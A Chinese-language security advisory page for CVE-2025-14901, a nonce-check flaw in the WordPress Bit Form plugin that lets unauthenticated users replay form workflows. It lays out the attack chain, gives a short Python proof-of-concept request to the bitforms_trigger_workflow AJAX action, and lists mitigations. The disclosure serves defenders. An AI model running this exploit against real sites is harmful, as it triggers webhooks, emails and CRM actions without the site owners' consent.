IPBUF安全漏洞报告
English
CVE-2025-14901 CVSS 6.5 中危

CVE-2025-14901 WordPress Bit Form插件未授权工作流执行漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14901
漏洞类型
未授权访问/逻辑缺陷
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Bit Form WordPress Contact Form Plugin

相关标签

WordPress插件漏洞未授权访问Bit Form工作流绕过nonce验证缺陷CVE-2025-14901逻辑漏洞

漏洞概述

Bit Form是WordPress平台上一款流行的联系表单插件,在2.21.6及之前版本中存在严重的未授权访问漏洞。该漏洞位于triggerWorkFlow函数中,由于nonce验证逻辑存在缺陷,安全检查仅在nonce验证失败且用户已登录时才会阻止请求。这一逻辑错误导致未认证攻击者能够绕过安全验证,重放表单工作流执行并触发所有已配置的集成功能,包括Webhook、电子邮件通知、CRM集成和自动化平台。攻击者只需获取合法表单提交响应中的entry ID和log ID,即可利用bitforms_trigger_workflow AJAX操作执行任意已配置的工作流,对网站安全造成严重影响。

技术细节

该漏洞的根本原因在于FrontendAjax.php文件中triggerWorkFlow函数的nonce验证逻辑存在设计缺陷。正常的安全机制应该在任何情况下验证请求的nonce值,但该插件的检查逻辑为:仅当nonce验证失败且用户已登录时才阻止请求。这意味着未登录用户(匿名访问者)的请求会绕过nonce验证。攻击者可以通过以下步骤利用此漏洞:1)诱使合法用户提交表单并获取返回的entry ID和log ID;2)使用获取的ID构造bitforms_trigger_workflow AJAX请求;3)由于未登录用户身份,nonce检查被跳过,请求被放行;4)成功触发已配置的工作流,执行Webhook调用、邮件发送等操作。此漏洞影响所有使用该插件的WordPress网站,攻击门槛低且利用简单。

攻击链分析

STEP 1
步骤1
攻击者诱使目标网站合法用户提交Bit Form表单,获取表单响应中包含的entry_id和log_id
STEP 2
步骤2
攻击者构造bitforms_trigger_workflow AJAX请求,使用获取的entry_id和log_id参数
STEP 3
步骤3
攻击者以未认证用户身份发送请求,由于插件nonce验证逻辑缺陷(仅在用户已登录且nonce失败时阻止),请求绕过安全检查
STEP 4
步骤4
服务器执行triggerWorkFlow函数,触发所有已配置的工作流集成,包括Webhook调用、邮件通知、CRM同步等
STEP 5
步骤5
攻击者成功实现未授权操作,可能导致敏感数据外泄、邮件钓鱼攻击或第三方系统被恶意调用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14901 PoC - Unauthenticated Workflow Trigger # Bit Form WordPress Plugin < 2.21.7 TARGET_URL = "http://target-wordpress-site.com" # Entry ID and Log ID obtained from legitimate form submission response ENTRY_ID = "123" LOG_ID = "456" def trigger_workflow(): """ Trigger Bit Form workflow without authentication by exploiting the nonce verification logic flaw """ endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Construct the malicious request data = { "action": "bitforms_trigger_workflow", "entry_id": ENTRY_ID, "log_id": LOG_ID, "form_id": "1" } # Send request as unauthenticated user # The nonce check is bypassed because user is not logged in response = requests.post(endpoint, data=data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return response.status_code == 200 if __name__ == "__main__": trigger_workflow()

影响范围

Bit Form WordPress Plugin < 2.21.7 (up to and including 2.21.6)

防御指南

临时缓解措施
在官方补丁发布前,可暂时禁用Bit Form插件的工作流功能,或使用Web应用防火墙(WAF)规则阻止bitforms_trigger_workflow AJAX端点的未认证访问。建议加强对表单提交日志的监控,及时发现异常的Workflow触发行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表